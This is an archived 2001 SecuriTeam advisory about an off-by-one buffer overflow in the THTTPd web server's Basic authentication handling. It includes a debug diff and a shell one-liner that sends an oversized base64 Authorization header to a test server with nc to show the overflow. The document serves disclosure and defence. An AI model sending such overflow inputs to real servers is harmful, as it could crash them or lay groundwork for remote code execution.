[UNIX] Off-By-One Security Vulnerability in THTTPd
From: support@securiteam.comDate: 11/25/01
- Previous message: support@securiteam.com: "[UNIX] Logic Flaw in HP-UX Line Printer Daemon Leads to Remote Code Execution"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Subject: [UNIX] Off-By-One Security Vulnerability in THTTPd Message-Id: <20011125225126.C2ED4138BF@mail.der-keiler.de> Date: Sun, 25 Nov 2001 23:51:26 +0100 (CET)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
Off-By-One Security Vulnerability in THTTPd
------------------------------------------------------------------------
SUMMARY
<http://www.acme.com/software/thttpd/thttpd.html> THTTPd is a simple,
small, portable, fast, and secure HTTP server. A buffer overflow in the
product may enable remote users to run arbitrary code on the machine.
DETAILS
Demonstration:
1) Apply the following diff:
--- libhttpd.c Tue Nov 20 14:50:00 2001
+++ libhttpd-new.c Tue Nov 20 14:22:12 2001
@@ -886,6 +886,7 @@
/* Decode it. */
l = b64_decode( &(hc->authorization[6]), authinfo, sizeof(authinfo)
);
authinfo[l] = '\0';
+ printf("%02x\n", authinfo[499]);
/* Split into user and password. */
authpass = strchr( authinfo, ':' );
if ( authpass == (char*) 0 )
This allows us to see what the final element in the array ends up to be.
2) Build, and then:
[terminal 1]
$ mkdir test
$ echo "joe:blow" > test/.htpasswd
$ ./thttpd -D -p 7777
[terminal 2]
(printf "GET /test/ HTTP/1.0\r\nAuthorization: Basic " ; printf `perl -e
'print "A"x550'` | openssl enc -base64 -e -in /dev/stdin ; printf
"\r\n\r\n") | nc 0 7777
[terminal 1]
We see '41'. This means an 'off-by-one' overflow is present.
ADDITIONAL INFORMATION
The information has been provided by <mailto:bugtraq@bugtraq.org>
bugtraq.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[UNIX] Logic Flaw in HP-UX Line Printer Daemon Leads to Remote Code Execution"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|